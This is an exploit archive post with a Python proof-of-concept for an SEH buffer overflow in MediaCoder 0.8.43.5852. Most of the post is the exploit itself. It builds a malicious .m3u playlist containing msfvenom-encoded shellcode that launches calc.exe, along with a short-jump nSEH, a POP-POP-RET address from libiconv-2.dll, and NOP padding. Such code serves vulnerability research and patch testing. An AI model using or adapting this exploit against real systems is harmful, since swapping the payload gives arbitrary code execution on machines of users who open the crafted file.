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MediaCoder 0.8.43.5852 SEH Overflow

MediaCoder 0.8.43.5852 SEH Overflow
Posted Jul 25, 2016
Authored by Karn Ganeshen

MediaCoder version 0.8.43.5852 SEH buffer overflow exploit that spawns calc.exe.

tags | exploit, overflow
MD5 | 1c1fa76792e4d6df15ec3eff7959ef23

MediaCoder 0.8.43.5852 SEH Overflow

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# Exploit Title: [MediaCoder 0.8.43.5852 - .m3u SEH Exploit]
# Exploit Author: [Karn Ganeshen]
# Vendor Homepage: [http://www.mediacoderhq.com]
# Download link: [http://www.mediacoderhq.com/mirrors.html?file=MediaCoder-0.8.45.5852.exe]
# Version: [Current version 0.8.43.58.52]
# Tested on: [Windows Vista SP2]
#

#!/usr/bin/python

total_buf = 5000

# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/alpha_upper -b '\x00\x0a\x0d\xff' -f c
# Payload size: 455 bytes

shellcode = ("\x89\xe1\xda\xcc\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4c\x42\x55\x50"
"\x45\x50\x35\x50\x53\x50\x4c\x49\x4b\x55\x46\x51\x59\x50\x55"
"\x34\x4c\x4b\x30\x50\x56\x50\x4c\x4b\x31\x42\x54\x4c\x4c\x4b"
"\x46\x32\x44\x54\x4c\x4b\x32\x52\x47\x58\x34\x4f\x58\x37\x50"
"\x4a\x47\x56\x50\x31\x4b\x4f\x4e\x4c\x37\x4c\x43\x51\x53\x4c"
"\x53\x32\x36\x4c\x51\x30\x59\x51\x58\x4f\x34\x4d\x35\x51\x48"
"\x47\x4a\x42\x5a\x52\x36\x32\x46\x37\x4c\x4b\x56\x32\x52\x30"
"\x4c\x4b\x50\x4a\x57\x4c\x4c\x4b\x50\x4c\x52\x31\x32\x58\x4d"
"\x33\x30\x48\x33\x31\x38\x51\x46\x31\x4c\x4b\x50\x59\x31\x30"
"\x33\x31\x49\x43\x4c\x4b\x30\x49\x55\x48\x5a\x43\x36\x5a\x47"
"\x39\x4c\x4b\x30\x34\x4c\x4b\x45\x51\x39\x46\x36\x51\x4b\x4f"
"\x4e\x4c\x59\x51\x48\x4f\x44\x4d\x53\x31\x58\x47\x56\x58\x4d"
"\x30\x33\x45\x4b\x46\x54\x43\x43\x4d\x4c\x38\x47\x4b\x53\x4d"
"\x37\x54\x54\x35\x5a\x44\x51\x48\x4c\x4b\x30\x58\x57\x54\x35"
"\x51\x4e\x33\x55\x36\x4c\x4b\x54\x4c\x30\x4b\x4c\x4b\x56\x38"
"\x45\x4c\x43\x31\x58\x53\x4c\x4b\x55\x54\x4c\x4b\x35\x51\x48"
"\x50\x4b\x39\x51\x54\x56\x44\x46\x44\x51\x4b\x31\x4b\x43\x51"
"\x46\x39\x30\x5a\x46\x31\x4b\x4f\x4d\x30\x51\x4f\x51\x4f\x31"
"\x4a\x4c\x4b\x52\x32\x4a\x4b\x4c\x4d\x51\x4d\x52\x4a\x43\x31"
"\x4c\x4d\x4c\x45\x4f\x42\x43\x30\x55\x50\x33\x30\x30\x50\x33"
"\x58\x56\x51\x4c\x4b\x32\x4f\x4d\x57\x4b\x4f\x48\x55\x4f\x4b"
"\x4a\x50\x38\x35\x4e\x42\x31\x46\x53\x58\x49\x36\x5a\x35\x4f"
"\x4d\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x43\x36\x33\x4c\x35\x5a"
"\x4b\x30\x4b\x4b\x4d\x30\x44\x35\x33\x35\x4f\x4b\x31\x57\x44"
"\x53\x52\x52\x52\x4f\x33\x5a\x33\x30\x36\x33\x4b\x4f\x58\x55"
"\x42\x43\x45\x31\x52\x4c\x35\x33\x56\x4e\x55\x35\x54\x38\x32"
"\x45\x53\x30\x41\x41")

junk = "http:// "
junk += "A"*784
nseh = "\xEB\x06\x90\x90"
seh = "\x38\x78\x01\x66" # PPR - 0x66017838 - libiconv-2.dll
evil = junk + nseh + seh
evil += "\x90"*50 + shellcode
evil += "\x90"*3000

file = open("evil.m3u", "wb")
file.write (evil)
file.close()

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